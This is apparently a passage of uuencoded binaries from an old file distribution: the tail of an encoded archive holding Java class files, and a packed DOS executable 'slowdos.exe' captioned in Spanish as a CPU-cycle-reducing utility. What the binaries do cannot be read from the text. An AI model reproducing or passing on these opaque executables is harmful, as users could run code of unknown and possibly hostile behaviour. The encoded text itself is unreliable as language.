MRIUTJGL,C#]^#_$%$,('9N*.&!'JND7*&S[.0>"4_RG5ML/@_T8ZE4F[AG=]
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
M!">]=UQ#QS`CB(0XQQE&1AE3&GY;448J'E0S4%`W5=#I!,VBT9M%$+8H6
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
M7YKY5<BO19C534M`<7H3CEWN!5*3Z-LZS^0`N/KM&I*"W!9`JH*YU&B70Z
M5J>,AB)M/!'M0C78_SSNQ/\#4$L!`A0`%``"``@```B,)_M`_U?2`@``+@4`
M`!```````````0`@`+:!`````$)A;FYE<G--<V<N8VQA<W-02P$"%``4``(`
M"```"(PG&^.)V$8T```W7@``#0```````````"``MH$``P``0F%N;F5R<RYC
:;&%S<U!+!08``````@`"`'D```!Q-P``````
`
end
{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]
[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}
-Utilidad para disminuir los ciclos del CPU (ver colaboracion de Blacklash)
begin 644 slowdos.exe
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
